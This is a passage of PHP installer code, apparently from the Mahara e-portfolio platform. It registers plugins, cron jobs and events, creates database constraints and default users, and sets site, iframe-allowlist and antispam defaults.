    if (!empty($upgrade->install)) {
        if (is_readable($location . 'install.xml')) {
            install_from_xmldb_file($location . 'install.xml');
        }
    }
    else {
        if (is_readable($location .  'upgrade.php')) {
            require_once($location . 'upgrade.php');
            if (!$function($upgrade->from)) {
                throw new InstallationException("Failed to run " . $function . " (check logs for errors)");
            }
        }
    }

    $installed = new stdClass();
    $installed->name = $pluginname;
    $installed->version = $upgrade->to;
    $installed->release = $upgrade->torelease;
    if ($plugintype == 'blocktype') {
        if (!empty($blocktypename)) {
            $installed->name = $blocktypename;
        }
        if (!empty($artefactplugin)) { // blocks come from artefactplugins.
            $installed->artefactplugin = $artefactplugin;
        }
    }
    if (property_exists($upgrade, 'requires_config')) {
        $installed->requires_config = $upgrade->requires_config;
    }
    if (property_exists($upgrade, 'requires_parent')) {
        $installed->requires_parent = $upgrade->requires_parent;
    }
    $installtable = $plugintype . '_installed';

    if (!empty($upgrade->install)) {
        insert_record($installtable,$installed);
    }
    else {
        update_record($installtable, $installed, 'name');
    }
    bump_cache_version();

    // postinst stuff...
    safe_require($plugintype, $pluginname);
    $pcname = generate_class_name($plugintype, $installed->name);

    if ($crons = $pcname::get_cron()) {
        foreach ($crons as $cron) {
            $cron = (object)$cron;
            if (empty($cron->callfunction)) {
                throw new InstallationException("cron for $pcname didn't supply function name");
            }
            if (!is_callable(array($pcname, $cron->callfunction))) {
                throw new InstallationException("cron $cron->callfunction for $pcname supplied but wasn't callable");
            }
            $new = false;
            $table = $plugintype . '_cron';
            if (!empty($upgrade->install)) {
                $new = true;
            }
            else if (!record_exists($table, 'plugin', $pluginname, 'callfunction', $cron->callfunction)) {
                $new = true;
            }
            $cron->plugin = $pluginname;
            if (!empty($new)) {
                insert_record($table, $cron);
            }
            else {
                update_record($table, $cron, array('plugin', 'callfunction'));
            }
        }
    }

    if ($events = $pcname::get_event_subscriptions()) {
        foreach ($events as $event) {
            $event = (object)$event;

            if (!record_exists('event_type', 'name', $event->event)) {
                throw new InstallationException("event $event->event for $pcname doesn't exist!");
            }
            if (empty($event->callfunction)) {
                throw new InstallationException("event $event->event for $pcname didn't supply function name");
            }
            if (!is_callable(array($pcname, $event->callfunction))) {
                throw new InstallationException("event $event->event with function $event->callfunction for $pcname supplied but wasn't callable");
            }
            $exists = false;
            $table = $plugintype . '_event_subscription';
            $block = blocktype_namespaced_to_single($pluginname);
            if (empty($upgrade->install)) {
                $exists = get_record($table, 'plugin' , $block, 'event', $event->event);
            }
            $event->plugin = $block;
            if (empty($exists)) {
                insert_record($table, $event);
            }
            else {
                update_record($table, $event, array('id' => $exists->id));
            }
        }
    }

    if ($activities = $pcname::get_activity_types()) {
        foreach ($activities as $activity) {
            $classname = 'ActivityType' . ucfirst($plugintype) . ucfirst($pluginname) . ucfirst($activity->name);
            if (!class_exists($classname)) {
                throw new InstallationException(get_string('classmissing', 'error',  $classname, $pluginname, $plugintype));
            }
            // Add activity_type if it doesn't exist
            if (!get_record('activity_type', 'name', $activity->name, 'plugintype', $plugintype, 'pluginname', $pluginname)) {
                $activity->plugintype = $plugintype;
                $activity->pluginname = $pluginname;
                $activity->defaultmethod = get_config('defaultnotificationmethod') ? get_config('defaultnotificationmethod') : $activity->defaultmethod;
                $where = (object) array(
                    'name'       => $activity->name,
                    'plugintype' => $plugintype,
                    'pluginname' => $pluginname,
                );
                ensure_record_exists('activity_type', $where, $activity);
            }
        }
    }

    // install artefact types
    if ($plugintype == 'artefact') {
        if (!is_callable(array($pcname, 'get_artefact_types'))) {
            throw new InstallationException("Artefact plugin $pcname must implement get_artefact_types and doesn't");
        }
        $types = $pcname::get_artefact_types();
        $ph = array();
        if (is_array($types)) {
            // Check for missing plugins - don't try to remove their data.
            // Bugs 505732 and 1287344.
            $used_types = get_records_sql_assoc("SELECT t.name, count(a.id) ct, t.plugin FROM {artefact_installed_type} t
                    LEFT JOIN {artefact} a ON t.name = a.artefacttype
                    GROUP BY t.name
                    HAVING count(a.id) > 0 AND plugin = '$pluginname'");
            if ($used_types === FALSE) {
                $used_types = array();
            }

            foreach ($types as $type) {
                $ph[] = '?';
                if (!record_exists('artefact_installed_type', 'plugin', $pluginname, 'name', $type)) {
                    $t = new stdClass();
                    $t->name = $type;
                    $t->plugin = $pluginname;
                    insert_record('artefact_installed_type',$t);
                }
                if (isset($used_types[$type])) {
                    unset($used_types[$type]);
                }
            }

            foreach ($used_types as $type) {
                $ph[] = '?';
            }

            $used_types = array_keys($used_types);

            $select = '(plugin = ? AND name NOT IN (' . implode(',', $ph) . '))';
            delete_records_select('artefact_installed_type', $select,
                    array_merge(array($pluginname),$types,$used_types));
            if (!empty($used_types)) {
                log_warn('Plugin for artefact type(s) "' . implode('", "', $used_types) . '" has gone away', true, false);
            }
        }
    }

    // install blocktype categories.
    if ($plugintype == 'blocktype' && get_config('installed')) {
        install_blocktype_categories_for_plugin($pluginname);
        install_blocktype_viewtypes_for_plugin($pluginname);
    }

    $prevversion = (empty($upgrade->install)) ? $upgrade->from : 0;
    $pcname::postinst($prevversion);

    db_commit();
    return true;
}

function core_postinst() {
    // Attempt to create session directories
    $sessionpath = get_config('sessionpath');
    $status = Session::create_directory_levels($sessionpath);

    $now = db_format_timestamp(time());
    // Set default search plugin
    set_config('searchplugin', 'internal');

    set_config('lang', get_accept_lang());
    set_config('installation_key', get_random_key());
    set_config('installation_time', $now);
    set_config('stats_installation_time', $now);
    set_config('passwordpolicy', '8_ulns');

    // Pre-define SMTP settings
    set_config('smtphosts', '');
    set_config('smtpport', '');
    set_config('smtpuser', '');
    set_config('smtppass', '');
    set_config('smtpsecure', '');

    // XMLDB adds a table's keys immediately after creating the table.  Some
    // foreign keys therefore cannot be created during the XMLDB installation,
    // because they refer to tables created later in the installation.  These
    // missing keys can be created now that all the core tables exist.
    $table = new XMLDBTable('usr');
    $key = new XMLDBKey('profileiconfk');
    $key->setAttributes(XMLDB_KEY_FOREIGN, array('profileicon'), 'artefact', array('id'));
    add_key($table, $key);

    $table = new XMLDBTable('institution');
    $key = new XMLDBKey('logofk');
    $key->setAttributes(XMLDB_KEY_FOREIGN, array('logo'), 'artefact', array('id'));
    add_key($table, $key);

    // PostgreSQL supports indexes over functions of columns, MySQL does not.
    // We make use if this if we can
    if (is_postgres()) {
        // Improve the username index
        execute_sql('DROP INDEX {usr_use_uix}');
        execute_sql('CREATE UNIQUE INDEX {usr_use_uix} ON {usr}(LOWER(username))');

        // Add user search indexes
        // Postgres only.  We could create non-lowercased indexes in MySQL, but
        // they would not be useful, and would require a change to varchar columns.
        execute_sql('CREATE INDEX {usr_fir_ix} ON {usr}(LOWER(firstname))');
        execute_sql('CREATE INDEX {usr_las_ix} ON {usr}(LOWER(lastname))');
        execute_sql('CREATE INDEX {usr_pre_ix} ON {usr}(LOWER(preferredname))');
        execute_sql('CREATE INDEX {usr_ema_ix} ON {usr}(LOWER(email))');
        execute_sql('CREATE INDEX {usr_stu_ix} ON {usr}(LOWER(studentid))');

        // Only one profile view per user
        execute_sql("CREATE UNIQUE INDEX {view_own_type_uix} ON {view}(owner) WHERE type = 'profile'");
    }

    // Some more advanced constraints. XMLDB can't handle this in its xml file format
    execute_sql('ALTER TABLE {artefact} ADD CHECK (
        (owner IS NOT NULL AND "group" IS NULL     AND institution IS NULL) OR
        (owner IS NULL     AND "group" IS NOT NULL AND institution IS NULL) OR
        (owner IS NULL     AND "group" IS NULL     AND institution IS NOT NULL)
    )');
    execute_sql('ALTER TABLE {view} ADD CHECK (
        (owner IS NOT NULL AND "group" IS NULL     AND institution IS NULL) OR
        (owner IS NULL     AND "group" IS NOT NULL AND institution IS NULL) OR
        (owner IS NULL     AND "group" IS NULL     AND institution IS NOT NULL)
    )');
    execute_sql('ALTER TABLE {artefact} ADD CHECK (
        (author IS NOT NULL AND authorname IS NULL    ) OR
        (author IS NULL     AND authorname IS NOT NULL)
    )');
    execute_sql('ALTER TABLE {view_access} ADD CHECK (
        (accesstype IS NOT NULL AND "group" IS NULL     AND usr IS NULL     AND token IS NULL   AND institution IS NULL) OR
        (accesstype IS NULL     AND "group" IS NOT NULL AND usr IS NULL     AND token IS NULL AND institution IS NULL) OR
        (accesstype IS NULL     AND "group" IS NULL     AND usr IS NOT NULL AND token IS NULL AND institution IS NULL) OR
        (accesstype IS NULL     AND "group" IS NULL     AND usr IS NULL     AND token IS NOT NULL AND institution IS NULL) OR
        (accesstype IS NULL     AND "group" IS NULL     AND usr IS NULL     AND token IS NULL AND institution IS NOT NULL)
    )');
    execute_sql('ALTER TABLE {collection} ADD CHECK (
        (owner IS NOT NULL AND "group" IS NULL     AND institution IS NULL) OR
        (owner IS NULL     AND "group" IS NOT NULL AND institution IS NULL) OR
        (owner IS NULL     AND "group" IS NULL     AND institution IS NOT NULL)
    )');

    set_antispam_defaults();
    reload_html_filters();

    // Default set of sites from which iframe content can be embedded
    // See also the postinst() function in plugins for other valid iframes
    // by searching for 'iframe_source_icon'
    $iframesources = array(
        'www.youtube.com/embed/'                   => 'YouTube',
        'player.vimeo.com/video/'                  => 'Vimeo',
        'www.slideshare.net/slideshow/embed_code/' => 'SlideShare',
        'www.glogster.com/glog/'                   => 'Glogster',
        'www.glogster.com/glog.php'                => 'Glogster',
        'edu.glogster.com/glog/'                   => 'Glogster',
        'edu.glogster.com/glog.php'                => 'Glogster',
        'wikieducator.org/index.php'               => 'WikiEducator',
        'voki.com/php/'                            => 'Voki',
    );
    $iframedomains = array(
        'YouTube'      => 'www.youtube.com',
        'Vimeo'        => 'vimeo.com',
        'SlideShare'   => 'www.slideshare.net',
        'Glogster'     => 'www.glogster.com',
        'WikiEducator' => 'wikieducator.org',
        'Voki'         => 'voki.com',
    );
    update_safe_iframes($iframesources, $iframedomains);

    require_once(get_config('docroot') . 'lib/file.php');
    update_magicdb_path();

    return $status;
}

function core_install_lastcoredata_defaults() {
    global $USER;
    db_begin();
    $institution = new stdClass();
    $institution->name = 'mahara';
    $institution->displayname = 'No Institution';
    $institution->authplugin  = 'internal';
    $institution->theme  = 'default';
    $institution->priority = 0;
    insert_record('institution', $institution);

    $auth_instance = new stdClass();
    $auth_instance->instancename  = 'Internal';
    $auth_instance->priority='1';
    $auth_instance->institution   = 'mahara';
    $auth_instance->authname      = 'internal';
    $auth_instance->active        = 1;
    $auth_instance->id = insert_record('auth_instance', $auth_instance, 'id', true);

    // Insert the root user
    $userid = 0;
    $user = new stdClass();
    $user->id = $userid;
    $user->username = 'root';
    $user->password = '*';
    $user->salt = '*';
    $user->firstname = 'System';
    $user->lastname = 'User';
    $user->email = 'root@example.org';
    $user->quota = get_config_plugin('artefact', 'file', 'defaultquota');
    $user->authinstance = $auth_instance->id;
    $user->admin = 1;

    if (is_mysql()) { // gratuitous mysql workaround
        $newid = insert_record('usr', $user, 'id', true);
        set_field('usr', 'id', 0, 'id', $newid);
        execute_sql('ALTER TABLE {usr} AUTO_INCREMENT=1');
    }
    else {
        insert_record('usr', $user);
    }

    $pages = site_content_pages();
    $now = db_format_timestamp(time());
    foreach ($pages as $name) {
        $page = new stdClass();
        $page->ctime = $now;
        $page->institution = 'mahara';
        $page->content = get_string($name . 'defaultcontent', 'install', get_string('staticpageconfigdefaults', 'install',  get_config('wwwroot') . 'admin/site/pages.php'));
        $page->name = $name;
        $page->mtime = $now;
        $page->mauthor = $userid;
        insert_record('site_content', $page);
    }

    $versionedpages = site_content_version_pages();
    foreach ($versionedpages as $name) {
        $page = new stdClass();
        $page->ctime = $now;
        $page->institution = 'mahara';
        $page->content = get_string($name . 'defaultcontent', 'install', get_string('versionedpageconfigdefault', 'install', get_config('wwwroot') . 'admin/site/privacy.php?fs=' . $name));
        $page->type = $name;
        $page->author = $userid;
        $page->version = '1.0';
        insert_record('site_content_version', $page);
    }

    require_once('group.php');
    install_system_profile_view();
    install_system_dashboard_view();
    install_system_grouphomepage_view();
    require_once('view.php');
    install_system_portfolio_view();
    install_system_progress_view();

    require_once('license.php');
    install_licenses_default();

    require_once('skin.php');
    install_skins_default();

    install_auth_default();

    // Remove admin privs from root user as it doesn't need it now
    $user->admin = 0;
    update_record('usr', $user, array('id' => 0));

    // Insert the admin user
    $user = new stdClass();
    $user->username = 'admin';
    $user->salt = auth_get_random_salt();
    $user->password = crypt('mahara', '$2a$' . get_config('bcrypt_cost') . '$' . substr(md5(get_config('passwordsaltmain') . $user->salt), 0, 22));
    $user->password = substr($user->password, 0, 7) . substr($user->password, 7+22);
    $user->authinstance = $auth_instance->id;
    $user->passwordchange = 1;
    $user->admin = 1;
    $user->firstname = 'Admin';
    $user->lastname = 'Account';
    $user->email = 'admin@example.org';
    $user->quota = get_config_plugin('artefact', 'file', 'defaultquota');
    $user->ctime = db_format_timestamp(time());
    $user->id = insert_record('usr', $user, 'id', true);
    set_profile_field($user->id, 'email', $user->email);
    set_profile_field($user->id, 'firstname', $user->firstname);
    set_profile_field($user->id, 'lastname', $user->lastname);
    // Accept the user privacy agreement on install
    $sitecontentid = get_field('site_content_version', 'id', 'type', 'privacy', 'institution', 'mahara');
    save_user_reply_to_agreement($user->id, $sitecontentid, 1);
    // Accept the user T&C on install
    $sitecontentid = get_field('site_content_version', 'id', 'type', 'termsandconditions', 'institution', 'mahara');
    save_user_reply_to_agreement($user->id, $sitecontentid, 1);
    handle_event('createuser', $user, array('password'));
    activity_add_admin_defaults(array($user->id));
    db_commit();

    // if we're installing, set up the block categories here and then poll the plugins.
    // if we're upgrading this happens somewhere else.  This is because of dependency issues around
    // the order of installation stuff.
    install_blocktype_extras();

    // Setting user access roles for content block access
    $table = new XMLDBTable('usr_access_roles');

    $roles = array('peer' => 0, 'manager' => 1, 'peermanager' => 1, 'verifier' => 1);
    foreach ($roles as $role => $state) {
        $obj = new stdClass();
        $obj->role              = $role;
        $obj->see_block_content = $state;
        insert_record('usr_access_roles', $obj);
    }
}

function core_install_firstcoredata_defaults() {
    // Install the default institution
    db_begin();

    set_config('session_timeout', 86400);
    set_config('sitename', 'Mahara');
    set_config('defaultregistrationexpirylifetime', 1209600);
    set_config('defaultaccountinactivewarn', 604800);
    set_config('creategroups', 'all');
    set_config('createpublicgroups', 'all');
    set_config('allowpublicviews', 1);
    set_config('allowpublicprofiles', 1);
    set_config('allowanonymouspages', 0);
    set_config('generatesitemap', 1);
    set_config('showselfsearchsideblock', 0);
    set_config('showtagssideblock', 1);
    set_config('tagssideblockmaxtags', 20);
    set_config('usersallowedmultipleinstitutions', 1);
    set_config('userscanchooseviewthemes', 0);
    set_config('anonymouscomments', 1);
    set_config('homepageinfo', 1);
    set_config('showonlineuserssideblock', 1);
    set_config('footerlinks', serialize(array('legal', 'about', 'contactus', 'manualhelp')));
    set_config('nousernames', 0);
    set_config('showstudentid', 0);
    set_config('onlineuserssideblockmaxusers', 10);
    set_config('loggedinprofileviewaccess', 1);
    set_config('dropdownmenu', 0);
    // Set this to a random starting number to make minor version slightly harder to detect
    set_config('cacheversion', rand(1000, 9999));
    set_config('allowcommentsbydefault', 1);

    // install the applications
    $app = new stdClass();
    $app->name = 'mahara';
    $app->displayname = 'Mahara';
    $app->xmlrpcserverurl = '/api/xmlrpc/server.php';
    $app->ssolandurl = '/auth/xmlrpc/land.php';
    insert_record('application', $app);

    $app->name = 'moodle';
    $app->displayname = 'Moodle';
    $app->xmlrpcserverurl = '/mnet/xmlrpc/server.php';
    $app->ssolandurl = '/auth/mnet/land.php';
    insert_record('application', $app);

    // insert the event types
    $eventtypes = array(
        'createuser',
        'updateuser',
        'suspenduser',
        'unsuspenduser',
        'deleteuser',
        'undeleteuser',
        'expireuser',
        'unexpireuser',
        'deactivateuser',
        'activateuser',
        'userjoinsgroup',
        'userleavesgroup',
        'userchangegrouprole',
        'saveartefact',
        'deleteartefact',
        'deleteartefacts',
        'saveview',
        'deleteview',
        'blockinstancecommit',
        'deleteblockinstance',
        'addfriend',
        'removefriend',
        'addfriendrequest',
        'removefriendrequest',
        'creategroup',
        'loginas',
        'clearcaches',
        'createview',
        'createcollection',
        'updatecollection',
        'deletecollection',
        'addsubmission',
        'releasesubmission',
        'updateviewaccess',
        'removeviewaccess',
        'sharedcommenttogroup',
        'verifiedprogress',
    );

    foreach ($eventtypes as $et) {
        $e = new stdClass();
        $e->name = $et;
        insert_record('event_type', $e);
    }

    // install the core event subscriptions
    $subs = array(
        array(
            'event'        => 'createuser',
            'callfunction' => 'activity_set_defaults',
        ),
        array(
            'event'        => 'createuser',
            'callfunction' => 'add_user_to_autoadd_groups',
        ),
        array(
            'event'         => 'blockinstancecommit',
            'callfunction'  => 'watchlist_record_changes',
        ),
        array(
            'event'         => 'deleteblockinstance',
            'callfunction'  => 'watchlist_block_deleted',
        ),
        array(
            'event'         => 'saveartefact',
            'callfunction'  => 'watchlist_record_changes',
        ),
        array(
            'event'         => 'saveview',
            'callfunction'  => 'watchlist_record_changes',
        ),
    );

    foreach ($subs as $sub) {
        insert_record('event_subscription', (object)$sub);
    }

    // Install the activity types. Name, admin, delay, allownonemethod, defaultmethod.
    $activitytypes = array(
        array('maharamessage',      0, 0, 0, 'email'),
        array('usermessage',        0, 0, 0, 'email'),
        array('watchlist',          0, 1, 1, 'email'),
        array('viewaccess',         0, 1, 1, 'email'),
        array('contactus',          1, 1, 1, 'email'),
        array('objectionable',      1, 1, 1, 'email'),
        array('virusrepeat',        1, 1, 1, 'email'),
        array('virusrelease',       1, 1, 1, 'email'),
        array('institutionmessage', 0, 0, 1, 'email'),
        array('groupmessage',       0, 1, 1, 'email'),
        array('viewaccessrevoke',   0, 0, 0, 'email')
    );

    foreach ($activitytypes as $at) {
        $a = new stdClass();
        $a->name = $at[0];
        $a->admin = $at[1];
        $a->delay = $at[2];
        $a->allownonemethod = $at[3];
        $a->defaultmethod = $at[4];
        insert_record('activity_type', $a);
    }

    // install the cronjobs...
    $cronjobs = array(
        'auth_clean_partial_registrations'          => array('5', '0', '*', '*', '*'),
        'auth_clean_expired_password_requests'      => array('5', '0', '*', '*', '*'),
        'auth_handle_account_expiries'              => array('5', '10', '*', '*', '*'),
        'auth_handle_institution_expiries'          => array('5', '9', '*', '*', '*'),
        'activity_process_queue'                    => array('*/5', '*', '*', '*', '*'),
        'auth_remove_old_session_files'             => array('30', '20', '*', '*', '*'),
        'recalculate_quota'                         => array('15', '2', '*', '*', '*'),
        'import_process_queue'                      => array('*/5', '*', '*', '*', '*'),
        'export_process_queue'                      => array('*/6', '*', '*', '*', '*'),
        'submissions_delete_removed_archive'        => array('15', '1', '1', '*', '*'),
        'cron_send_registration_data'               => array(rand(0, 59), rand(0, 23), '*', '*', rand(0, 6)),
        'export_cleanup_old_exports'                => array('0', '3,15', '*', '*', '*'),
        'import_cleanup_old_imports'                => array('0', '4,16', '*', '*', '*'),
        'cron_site_data_weekly'                     => array('55', '23', '*', '*', '6'),
        'cron_site_data_daily'                      => array('51', '23', '*', '*', '*'),
        'cron_check_for_updates'                    => array(rand(0, 59), rand(0, 23), '*', '*', '*'),
        'cron_clean_internal_activity_notifications'=> array(45, 22, '*', '*', '*'),
        'cron_sitemap_daily'                        => array(0, 1, '*', '*', '*'),
        'file_cleanup_old_cached_files'             => array(0, 1, '*', '*', '*'),
        'file_cleanup_old_temp_files'               => array(0, 2, '*/2', '*', '*'),
        'user_login_tries_to_zero'                  => array('2-59/5', '*', '*', '*', '*'),
        'cron_institution_registration_data'        => array(rand(0, 59), rand(0, 23), '*', '*', rand(0, 6)),
        'cron_institution_data_weekly'              => array('0', '0', '*', '*', '1'),
        'cron_institution_data_daily'               => array('51', '23', '*', '*', '*'),
        'check_imap_for_bounces'                    => array('*', '*', '*', '*', '*'),
        'cron_event_log_expire'                     => array('7', '23', '*', '*', '*'),
        'watchlist_process_notifications'           => array('*', '*', '*', '*', '*'),
        'cron_email_reset_rebounce'                 => array(rand(0, 59), rand(0, 23), '*', '*', '*'),
        'auth_clean_expired_migrations'             => array('0', '2,14', '*', '*', '*'),
        'portfolio_auto_copy'                       => array('*', '*', '*', '*', '*'),
        'unlock_collections_by_rollover'            => array('0', '3', '*', '*', '*'),
    );
    foreach ($cronjobs as $callfunction => $times) {
        $cron = new stdClass();
        $cron->callfunction = $callfunction;
        $cron->minute       = $times[0];
        $cron->hour         = $times[1];
        $cron->day          = $times[2];
        $cron->month        = $times[3];
        $cron->dayofweek    = $times[4];
        insert_record('cron', $cron);
    }

    $viewtypes = array('dashboard', 'portfolio', 'profile', 'grouphomepage', 'progress');
    foreach ($viewtypes as $vt) {
        insert_record('view_type', (object)array(
            'type' => $vt,
        ));
    }
    db_commit();
}


/**
 * xmldb will pass us the xml file and we can perform any substitution as necessary
 */
function local_xmldb_contents_sub(&$contents) {
    // the main install.xml file needs to sub in plugintype tables.
    $searchstring = '<!-- PLUGIN_TYPE_SUBSTITUTION -->';
    if (strstr($contents, $searchstring) === 0) {
        return;
    }
    // ok, we're in the main file and we need to install all the plugin tables
    // get the basic skeleton structure
    $plugintables = file_get_contents(get_config('docroot') . 'lib/db/plugintables.xml');
    $tosub = '';
    foreach (plugin_types() as $plugin) {
        // any that want their own stuff can put it in docroot/plugintype/lib/db/plugintables.xml
        //- like auth is a bit special
        $specialcase = get_config('docroot') . $plugin . '/plugintables.xml';
        if (is_readable($specialcase)) {
            $tosub .= file_get_contents($specialcase) . "\n";
        }
        else {
            $replaced = '';
            // look for tables to put at the start...
            $pretables = get_config('docroot') . $plugin . '/beforetables.xml';
            if (is_readable($pretables)) {
                $replaced = file_get_contents($pretables) . "\n";
            }

            // perform any additional once off substitutions
            require_once(get_config('docroot') . $plugin . '/lib.php');
            $classname = generate_class_name($plugin);
            if (method_exists($classname, 'extra_xmldb_substitution')) {
                $replaced  .= $classname::extra_xmldb_substitution($plugintables);
            }
            else {
                $replaced .= $plugintables;
            }
            $tosub .= str_replace('__PLUGINTYPE__', $plugin, $replaced) . "\n";
            // look for any tables to put at the end..
            $extratables = get_config('docroot') . $plugin . '/extratables.xml';
            if (is_readable($extratables)) {
                $tosub .= file_get_contents($extratables) . "\n";
            }
        }
    }
    $contents = str_replace($searchstring, $tosub, $contents);
}


/**
 * validates a plugin for installation
 * @throws InstallationException
*/
function validate_plugin($plugintype, $pluginname, $pluginpath='') {

    if (empty($pluginpath)) {
        $pluginpath = get_config('docroot') . $plugintype . '/' . $pluginname;
    }
    if (!file_exists($pluginpath . '/version.php')) {
        throw new InstallationException(get_string('versionphpmissing1', 'error', $plugintype, $pluginname, $pluginname, $pluginpath));
    }
    safe_require($plugintype, $pluginname);
    $classname = generate_class_name($plugintype, $pluginname);
    if (!class_exists($classname)) {
        throw new InstallationException(get_string('classmissing', 'error', $classname, $plugintype, $pluginname));
    }
    require_once(get_config('docroot') . $plugintype . '/lib.php');
    $funname = $plugintype . '_check_plugin_sanity';
    if (function_exists($funname)) {
        $funname($pluginname);
    }
}

/**
 * Sorting upgrade order and allowing for priority
 *
 * @param array $upgrades   List of core and plugins to upgrade
 * @return array            Sorted $upgrades list
 */
function sort_upgrade_order($upgrades) {
    $floaters = array();
    uksort($upgrades, 'sort_upgrades');

    // We check here if any special reordering needs to be done.
    // Some plugins need to run before others if they are both present.
    // We set up a $floaters array if there are any matches.
    if (isset($upgrades['auth.webservice']) && isset($upgrades['module.lti_advantage'])) {
        $floaters['auth.webservice'] = 'module.lti_advantage';
    }

    if ($floaters) {
        // A $floater, for example, can look like key ='auth.webservice', value='lti.advantage' and the value is the item
        // we want to float up the $upgrades list but we do this by sinking
        // the key down the list. So the key 'auth.webservice' needs to exist as a key in $upgrades higher in the list
        // than the value 'lti.advantage' exists as a key in $upgrades list before reaching this part.
        // After this part the 'lti.advantage' key should appear highter than 'auth.webservice' in the $upgrades list.
        uksort($upgrades, function($k1, $k2) use (&$floaters) {
            if (isset($floaters[$k1]) && $k2 == $floaters[$k1]) {
                unset($floaters[$k1]);
                return 1;
            }
            else if (isset($floaters[$k1])) {
                return 1;
            }
            else {
                return 0;
            }
        });
    }

    return $upgrades;
}

/*
* the order things are installed/upgraded in matters
*/

function sort_upgrades($k1, $k2) {
    if ($k1 == 'core') {
        return -1;
    }
    else if ($k2 == 'core') {
        return 1;
    }
    else if ($k1 == 'firstcoredata') {
        return -1;
    }
    else if ($k2 == 'firstcoredata') {
        return 1;
    }
    else if ($k1 == 'localpreinst') {
        return -1;
    }
    else if ($k2 == 'localpreinst') {
        return 1;
    }
    else if ($k1 == 'localpostinst') {
        return 1;
    }
    else if ($k2 == 'localpostinst') {
        return -1;
    }
    else if ($k1 == 'lastcoredata') {
        return 1;
    }
    else if ($k2 == 'lastcoredata') {
        return -1;
    }
    // else obey the order plugin types returns (strip off plugintype. from the start)
    $weight1 = array_search(substr($k1, 0, strpos($k1, '.')), plugin_types());
    $weight2 = array_search(substr($k2, 0, strpos($k2, '.')), plugin_types());
    return ($weight1 > $weight2);
}

/** blocktype categories the system exports (including artefact categories)
*/
function get_blocktype_categories() {
    return array('shortcut', 'fileimagevideo', 'blog', 'general', 'internal', 'resume', 'external');
}

function install_blocktype_categories_for_plugin($blocktype) {
    if (!safe_require('blocktype', $blocktype, 'lib.php', 'require_once', true)) {
        // Block has been uninstalled or is missing, so no category data to enter.
        return;
    }
    $blocktype = blocktype_namespaced_to_single($blocktype);
    $catsinstalled = get_column('blocktype_category', 'name');
    db_begin();
    delete_records('blocktype_installed_category', 'blocktype', $blocktype);
    $classname = generate_class_name('blocktype', $blocktype);
    $categories = $classname::get_categories();
    if ($categories) {
        foreach ($categories as $k=>$v) {
            if (is_string($k) && is_int($v)) {
                // New block with name => sortorder array.
                $cat = $k;
                $sortorder = $v;
            }
            else {
                // Legacy block with just categories, no sortorders. Give it the default sortorder.
                $cat = $v;
                $sortorder = PluginBlocktype::$DEFAULT_SORTORDER;
            }
            if (in_array($cat, $catsinstalled)) {
                insert_record('blocktype_installed_category', (object)array(
                    'blocktype' => $blocktype,
                    'category' => $cat,
                    'sortorder' => $sortorder,
                ));
            }
        }
    }
    db_commit();
}

function install_blocktype_viewtypes_for_plugin($blocktype) {
    if (!safe_require('blocktype', $blocktype, 'lib.php', 'require_once', true)) {
        // Block has been uninstalled or is missing, so no viewtype data to enter.
        return;
    }
    $blocktype = blocktype_namespaced_to_single($blocktype);
    $vtinstalled = get_column('view_type', 'type');
    db_begin();
    delete_records('blocktype_installed_viewtype', 'blocktype', $blocktype);
    $classname = generate_class_name('blocktype', $blocktype);
    $viewtypes = $classname::get_viewtypes();
    if ($viewtypes) {
        foreach($viewtypes as $vt) {
            if (in_array($vt, $vtinstalled)) {
                insert_record('blocktype_installed_viewtype', (object)array(
                    'blocktype' => $blocktype,
                    'viewtype'  => $vt,
                ));
            }
        }
    }
    db_commit();
}

function install_blocktype_extras() {
    db_begin();

    $categories = get_blocktype_categories();
    $installedcategories = get_column('blocktype_category', 'name');
    $sort = empty($installedcategories) ? -1 : get_record_sql('SELECT MAX(sort) AS maxsort FROM {blocktype_category}')->maxsort;

    if ($toinstall = array_diff($categories, $installedcategories)) {
        foreach ($toinstall as $i) {
            insert_record('blocktype_category', (object)array('name' => $i, 'sort' => (++$sort)));
        }
    }

    db_commit();


    // poll all the installed blocktype plugins and ask them what categories they export
    if ($blocktypes = plugins_installed('blocktype', true)) {
        foreach ($blocktypes as $bt) {
            install_blocktype_categories_for_plugin(blocktype_single_to_namespaced($bt->name, $bt->artefactplugin));
            install_blocktype_viewtypes_for_plugin(blocktype_single_to_namespaced($bt->name, $bt->artefactplugin));
        }
    }
}

/**
 * Reload htmlpurifier filters from the XML configuration file.
 */
function reload_html_filters() {
    require_once('xmlize.php');

    $newlist = xmlize(file_get_contents(get_config('libroot') . 'htmlpurifiercustom/filters.xml'));
    $filters = $newlist['filters']['#']['filter'];
    foreach ($filters as &$f) {
        $f = (object) array(
            'site' => $f['#']['site'][0]['#'],
            'file' => $f['#']['filename'][0]['#']
        );
    }
    set_config('filters', serialize($filters));
    log_info('Enabled ' . count($filters) . ' HTML filters.');
}

/**
 * Update safe iframe regex
 *
 * @return bool
 * @throws SystemException
 */
function update_safe_iframe_regex() {
    $prefixes = get_column('iframe_source', 'prefix');
    if (!empty($prefixes)) {
        // We must generate a guaranteed valid regex here that's not
        // too slack.  It's easiest to whitelist a few characters, but
        // in future we may need to be more clever.  Admins who know
        // what they're doing, and need something fancy, can always
        // override this in config.php.
        foreach ($prefixes as $key => $r) {
            if (!preg_match('/^[\?a-zA-Z0-9\/\._-]+$/', $r)) {
                throw new SystemException('Invalid site passed to update_safe_iframe_regex');
            }
            if (substr($r, -1) == '/') {
                $prefixes[$key] = substr($r, 0, -1) . '($|[/?#])';
            }
        }

        // Allowed iframe URLs should be one of the partial URIs in iframe_source,
        // prefaced by http:// or https:// or just // (which is a protocol-relative URL)
        $iframeregexp = '%^(http:|https:|)//(' . str_replace('.', '\.', implode('|', $prefixes)) . ')%';
    }
    return set_config('iframeregexp', isset($iframeregexp) ? $iframeregexp : null);
}

function update_safe_iframes(array $iframesources, array $iframedomains) {
    db_begin();

    delete_records('iframe_source_icon');
    foreach ($iframedomains as $name => $domain) {
        insert_record('iframe_source_icon', (object) array('name' => $name, 'domain' => $domain));
    }

    delete_records('iframe_source');
    foreach ($iframesources as $prefix => $name) {
        insert_record('iframe_source', (object) array('prefix' => $prefix, 'name' => $name));
    }

    update_safe_iframe_regex();
    db_commit();
}

/**
 * Use meaningful defaults for the antispam settings.
 */
function set_antispam_defaults() {
    set_config('formsecret', get_random_key());
    require_once(get_config('docroot') . 'lib/antispam.php');
    if(checkdnsrr('test.uribl.com.black.uribl.com', 'A')) {
        set_config('antispam', 'advanced');
    }
    else {
        set_config('antispam', 'simple');
    }
    set_config('spamhaus', 0);
    set_config('surbl', 0);
}

function activate_plugin_form($plugintype, $plugin) {
    // Check if there is a displayname
